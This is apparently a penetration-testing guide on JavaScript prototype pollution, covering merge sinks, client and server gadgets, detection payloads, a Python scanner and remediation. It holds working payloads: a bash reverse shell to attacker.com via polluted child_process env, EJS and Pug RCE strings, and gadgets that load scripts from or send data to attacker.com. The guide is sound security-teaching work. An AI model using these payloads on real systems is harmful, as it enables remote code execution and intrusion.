Prototype Pollution Attacks
Prototype pollution allows attackers to modify JavaScript's Object.prototype, affecting all objects in the application. This can lead to XSS, RCE, and logic bypasses.
Information
Frameworks: WSTG v5 4.7.22 (Prototype Pollution) · ASVS 5.0 V15.3.6 · CWE-1321 · T1190
JavaScript Prototype Chain
In JavaScript, objects inherit properties from their prototype. If an attacker can modify Object.prototype, those properties become available on ALL objects in the application.
Property lookup walks the chain: reading obj.admin checks the object's own properties,
then its constructor's prototype, then Object.prototype. A property written to
Object.prototype therefore appears on every object in the process — including ones created
before the write. That is the only mechanism here; everything else is delivery and consequence.
// JavaScript Prototype Chain Basics
// Every object has a prototype chain
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
// Properties are looked up through the chain
obj.__proto__.polluted = "hacked";
console.log({}.polluted); // "hacked" - ALL objects now have this!
// Two ways to access prototype:
obj.__proto__ // Legacy, still widely supported
Object.getPrototypeOf(obj) // Modern, safer
// Constructor.prototype
function User() {}
const user = new User();
user.constructor.prototype.isAdmin = true;
// All User instances now have isAdmin = true
// Prototype pollution attack pattern:
// Attacker controls: merge(target, userInput)
// User input: {"__proto__": {"admin": true}}
// Result: All objects now have admin=truePollution Entry Points
__proto__
Direct prototype access. Most common pollution vector.
constructor.prototype
Access via constructor property chain.
Object.prototype
Direct modification if accessible.
The Merge Sink
The usual sink is a recursive merge. Lodash's _.merge (before 4.17.12), jQuery's
$.extend(true, …) (before 3.4.0) and hand-written deep-copies all walk a source object and
assign target[key] = source[key] for each key. Give one key the name __proto__
and the assignment hits the prototype setter rather than creating a property. A key path of
constructor.prototype reaches the same object through the constructor, which is why
blocking the literal string __proto__ is not a fix.
JSON.parse does not pollute by itself: {"__proto__": {}} becomes an own
property with that name. The damage happens at the merge, when the value is copied onto a target — which
is why the same JSON body is harmless on one endpoint and fatal on the next.
Client-Side Prototype Pollution
On the client the source is the URL and postMessage: a router that parses
?__proto__[x]=1 into a config object, or a widget that merges a message payload. Sources are
easy to find; the gadget is the work.
Client-side pollution typically occurs through URL parameters, hash fragments, or JSON data that gets merged into configuration objects.
// Client-Side Prototype Pollution
// Vulnerable merge function (common pattern)
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (typeof target[key] !== 'object') {
target[key] = {};
}
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Attack via URL fragment/query string
// https://vuln.com/#__proto__[admin]=true
// Parse user input
const hash = decodeURIComponent(location.hash.slice(1));
const config = {};
parseHashToObject(hash, config);
merge(config, {});
// Now Object.prototype.admin = true
// Check in console: {}.admin === true
// Attack via JSON parsing (if merge used)
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);
// Common vulnerable patterns:
// - $.extend(true, {}, userInput)
// - _.merge({}, userInput)
// - _.defaultsDeep({}, userInput)
// - Object.assign with nested objects
// - Custom recursive merge functionsWarning
A gadget is any path that reads a property it never set and feeds it to a sink: config.template
|| default assigned to innerHTML, options.url handed to
fetch, script.src. The polluted value only matters if something later reads
that exact name, so source without gadget is a hardening issue, not XSS.
Finding Pollution Gadgets
// Finding Prototype Pollution Gadgets
// A "gadget" is code that uses polluted properties in dangerous ways
// Gadget Example 1: innerHTML sink
// Vulnerable code:
element.innerHTML = config.template || "<div>default</div>";
// Attack:
Object.prototype.template = "<img src=x onerror=alert(1)>";
// XSS triggered when code runs!
// Gadget Example 2: eval sink
// Vulnerable code:
const code = options.code || "console.log('safe')";
eval(code);
// Attack:
Object.prototype.code = "alert(document.cookie)";
// Gadget Example 3: Script src
// Vulnerable code:
const script = document.createElement('script');
script.src = config.cdnUrl || '/default.js';
// Attack:
Object.prototype.cdnUrl = "https://attacker.com/evil.js";
// Gadget Example 4: Template literal
// Vulnerable code:
const url = options.url || `${baseUrl}/api`;
fetch(url);
// Attack:
Object.prototype.url = "https://attacker.com/steal";
// Using DOM Invader (Burp Suite) to find gadgets:
// 1. Enable prototype pollution testing
// 2. Navigate site while it runs
// 3. DOM Invader identifies sinksServer-Side Prototype Pollution (Node.js)
On the server the same merge runs in a long-lived process, so one request can affect every later one
until restart. That is why the impact jumps: authorisation checks that read user.admin,
child_process options, and template engines that compile inherited properties into code.
Server-side pollution is far more dangerous, potentially leading to remote code execution via template engines, child processes, or other Node.js internals.
// Server-Side Prototype Pollution (Node.js)
// Express.js vulnerable to body-parser pollution
// POST /api/user
// {"__proto__": {"admin": true}}
// If merged into a config or user object:
const user = merge({}, req.body);
// Object.prototype.admin is now true
// Attack Example 1: Authorization Bypass
function isAdmin(user) {
return user.admin === true; // Checks own property AND prototype!
}
// After pollution:
isAdmin({}) // true! Empty object now has admin
// Attack Example 2: RCE via child_process
// Pollute shell/env options
Object.prototype.shell = "/bin/bash";
Object.prototype.env = {
BASH_FUNC_echo%%: "() { /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1 }"
};
const { exec } = require('child_process');
exec('echo hello'); // Uses polluted options -> RCE
// Attack Example 3: RCE via EJS template engine
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').execSync('id')";
// When EJS renders a template, it uses the polluted property
res.render('index', {}); // RCE!
// Attack Example 4: Pug template engine
Object.prototype.block = {"type": "Text", "val": "x]});process.mainModule.require('child_process').execSync('id')//"};Danger
Because the pollution is process-wide, prove it with a second, unrelated request. If a later response changes for a different endpoint, the state is global; if only the polluting request changes, you have not shown pollution.
Detection Payloads
The script below reports candidates, not findings: it flags the string polluted in a body
or any 500. Treat both as leads. A 500 is often the merge throwing on a type mismatch, and an echoed
string is often the request reflected back.
# Prototype Pollution Detection Payloads
# URL-based detection
https://target.com/page?__proto__[test]=polluted
https://target.com/page?__proto__.test=polluted
https://target.com/page?constructor[prototype][test]=polluted
https://target.com/#__proto__[test]=polluted
https://target.com/#constructor.prototype.test=polluted
# JSON-based detection (POST body)
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
# Nested object pollution
{"a": {"__proto__": {"polluted": "yes"}}}
# Array notation
{"__proto__": ["polluted"]}
{"__proto__[0]": "polluted"}
# Check if pollution worked (Browser Console):
console.log({}.polluted); // Should show "yes"
console.log(Object.prototype.polluted);
# Automated detection with ppfuzz
# https://github.com/dwisiswant0/ppfuzz
ppfuzz -u "https://target.com/page?FUZZ=test"
# With ppmap (finds PP + gadgets)
# https://github.com/kleiton0x00/ppmap
ppmap -u "https://target.com"Prototype Pollution to XSS
// Prototype Pollution to XSS Gadget Examples
// 1. jQuery $.html() gadget
// jQuery uses isPlainObject which checks constructor
Object.prototype.preventDefault = function(){};
Object.prototype.handleObj = {
handler: function(){ alert('XSS') }
};
// Trigger: $.html() calls event handlers
// 2. Vue.js gadget
Object.prototype.v-html = "<img src=x onerror=alert(1)>";
// Vue template rendering uses this
// 3. Lodash template gadget
Object.prototype.sourceURL = "\u000dalert(1)//";
_.template({})(); // XSS via sourceURL
// 4. Backbone.js gadget
Object.prototype.escape = function(s) {
return "<img src=x onerror=alert(1)>";
};
// Model.escape() uses polluted function
// 5. DOMPurify bypass (older versions)
Object.prototype.ALLOWED_TAGS = ['img'];
Object.prototype.ALLOW_UNKNOWN_PROTOCOLS = true;
DOMPurify.sanitize('<img src=x onerror=alert(1)>'); // Bypassed!
// 6. Google Analytics gtag gadget
Object.prototype.transport_url = "javascript:alert(1)//";
gtag('event', 'page_view'); // XSS
// Finding more gadgets with ppmap:
// https://github.com/kleiton0x00/ppmap
// Automatically finds pollution sources and matching gadgetsAutomated Testing Script
#!/usr/bin/env python3
"""Prototype Pollution Detection Script"""
import requests
import json
import urllib.parse
import sys
def test_json_pollution(url, method='POST'):
"""Test JSON body pollution"""
payloads = [
{"__proto__": {"polluted": "yes"}},
{"constructor": {"prototype": {"polluted": "yes"}}},
{"__proto__": {"toString": "polluted"}},
]
for payload in payloads:
try:
if method == 'POST':
r = requests.post(
url,
json=payload,
headers={'Content-Type': 'application/json'}
)
else:
r = requests.put(url, json=payload)
# Check for pollution indicators in response
if 'polluted' in r.text or r.status_code == 500:
print(f"[POTENTIAL] Payload may have worked: {json.dumps(payload)}")
print(f" Response: {r.status_code}")
except Exception as e:
print(f"Error: {e}")
def test_url_pollution(url):
"""Test URL parameter pollution"""
payloads = [
"__proto__[polluted]=yes",
"__proto__.polluted=yes",
"constructor[prototype][polluted]=yes",
"constructor.prototype.polluted=yes",
]
sep = '&' if '?' in url else '?'
for payload in payloads:
test_url = f"{url}{sep}{payload}"
try:
r = requests.get(test_url)
if 'polluted' in r.text:
print(f"[POTENTIAL] URL pollution: {test_url}")
except Exception as e:
print(f"Error: {e}")
def test_fragment_pollution(base_url):
"""Generate fragment pollution URLs for manual testing"""
payloads = [
"#__proto__[polluted]=yes",
"#__proto__.polluted=yes",
"#constructor[prototype][polluted]=yes",
]
print("\n[INFO] Test these URLs manually in browser:")
for payload in payloads:
print(f" {base_url}{payload}")
print("\n Then check console: {}.polluted")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
print(f"Example: {sys.argv[0]} https://target.com/api/endpoint")
sys.exit(1)
url = sys.argv[1]
print("=== Prototype Pollution Testing ===\n")
print("[*] Testing JSON body pollution...")
test_json_pollution(url)
print("\n[*] Testing URL parameter pollution...")
test_url_pollution(url)
print("\n[*] Fragment-based payloads (client-side):")
test_fragment_pollution(url.split('?')[0])Confirming Pollution
Use a property name that cannot exist in the application — pp_probe, not
admin — so a hit cannot be coincidence. Pollute through one endpoint, then observe a
different one that returns defaulted fields. On the client, pollute from the URL and evaluate
().pp_probe in the console; only if that returns your value is a gadget test meaningful.
# 1. Pollute through a merge endpoint
curl -s -X POST https://target.com/api/settings \
-H 'Content-Type: application/json' \
-d '{"__proto__":{"pp_probe":"yes"}}'
# 2. Observe a different endpoint — global state shows up here
curl -s https://target.com/api/health | grep -o 'pp_probe'
# 3. Same destination via constructor.prototype, for filters that drop __proto__
curl -s -X POST https://target.com/api/settings \
-H 'Content-Type: application/json' \
-d '{"constructor":{"prototype":{"pp_probe":"yes"}}}'Testing Tools
DOM Invader (Burp)
Automatically detects PP sources and gadgets during browsing.
Built into Burp Suite
ppmap
Scans for pollution sources and matching gadgets.
github.com/kleiton0x00/ppmap
ppfuzz
Fast fuzzer for finding PP entry points.
github.com/dwisiswant0/ppfuzz
Client-Side Prototype Pollution
Chrome extension to detect pollution in real-time.
Chrome Web Store
Remediation
// Prototype Pollution Remediation
// 1. Use Object.create(null) for user-controlled objects
const safeObj = Object.create(null); // No prototype!
safeObj.__proto__ = "attack"; // Just a regular property
// 2. Freeze Object.prototype
Object.freeze(Object.prototype);
Object.prototype.polluted = true; // Silently fails in strict mode
// 3. Use Map instead of objects for user data
const userConfig = new Map();
userConfig.set('__proto__', 'safe'); // No pollution
// 4. Validate/sanitize keys before merge
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue; // Skip dangerous keys
}
target[key] = source[key];
}
return target;
}
// 5. Use Object.hasOwn() or hasOwnProperty
if (Object.hasOwn(obj, 'admin')) { // Only checks own property
// Safe - won't be true from prototype
}
// 6. Update vulnerable libraries
// lodash < 4.17.12 - vulnerable
// jQuery < 3.4.0 - vulnerable to $.extend
// underscore - use _.defaults carefully
// 7. Use JSON Schema validation
const Ajv = require('ajv');
const ajv = new Ajv();
const schema = {
type: 'object',
properties: {
name: { type: 'string' },
age: { type: 'number' }
},
additionalProperties: false // Reject unknown keys
};
// 8. Deny the key path, not the spelling
// Blocking "__proto__" alone misses "constructor.prototype" — validate the
// whole path against an allowlist of configuration keys you expect.
// 9. Freeze at process start, before the first request
// Object.freeze(Object.prototype) must run during boot. Freezing after a
// pollution leaves the injected property in place for the process lifetime.CWE References: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes)
Practice Labs
PortSwigger PP Labs
Comprehensive prototype pollution challenges
PP Gadgets Database
Collection of known pollution gadgets
S1r1us PP Research
In-depth prototype pollution research
HackerOne Report Example
Real-world prototype pollution disclosure
Testing Checklist
Source Detection
- ☐ Test URL query parameters
- ☐ Test URL hash/fragment
- ☐ Test JSON POST body
- ☐ Test form data
- ☐ Look for merge/extend functions
Gadget Hunting
- ☐ Use DOM Invader
- ☐ Check for innerHTML sinks
- ☐ Check for eval/Function sinks
- ☐ Check script.src assignments
- ☐ Review JS libraries for known gadgets
Server-Side
- ☐ Test body-parser pollution
- ☐ Check template engines (EJS, Pug)
- ☐ Test for authorization bypass
- ☐ Look for child_process gadgets
- ☐ Test with constructor.prototype
- ☐ Confirm global state on a second endpoint
- ☐ Check Object.isFrozen(Object.prototype) before reporting
Payloads
- ☐ __proto__[key]=value
- ☐ __proto__.key=value
- ☐ constructor[prototype][key]
- ☐ Nested object pollution
- ☐ Test both JSON and URL encoding
Evidence Collection
Pollution Proof: Demonstrate that a crafted payload modifies Object.prototype properties — capture before/after states showing the injected property exists on unrelated objects.
XSS/RCE Chain: If pollution leads to XSS (e.g., via template engine gadgets) or RCE (e.g., child_process.exec options), document the full chain from pollution input to code execution.
Property Injection Impact: Record which prototype properties can be set and their downstream effects — e.g., polluting isAdmin, __proto__.role, or constructor.prototype.shell.
Source Identification: Document the entry point (JSON merge, query parameter parser, deep clone function) and the specific code path that performs unsafe recursive assignment.
Global-State Proof: A second, unrelated request that observes the injected property — the evidence that the write reached Object.prototype rather than the request's own object
CVSS Range: 5.3 (property injection without exploitable gadget) – 10.0 (prototype pollution to RCE via known gadget chain)
False Positive Identification
- Framework Sanitization: Modern frameworks like Express 4.17+ sanitize __proto__ from query strings by default — verify the actual runtime behavior, not just the input vector.
- Object.freeze/Seal: If Object.prototype is frozen or sealed, pollution attempts silently fail — check whether Object.isFrozen(Object.prototype) returns true.
- No Exploitable Gadget: Pollution is confirmed but no downstream consumer reads the injected property — without a gadget chain, impact is limited to DoS at most.
- Map/Set Usage: If the application uses Map instead of plain objects for key-value storage, prototype pollution doesn't affect those data structures.
- A 500 is not evidence: Merge functions often throw on unexpected types. Treat a stack trace or a 500 as a lead and reproduce the pollution with a second request before reporting it.
- Pollution with no reader: If nothing in the process or page ever reads the property you injected, the write is real but the impact is not. Document it as a latent issue and say what would make it exploitable.
Prototype Pollution Practice
Find pollution sources and drive them to gadget chains.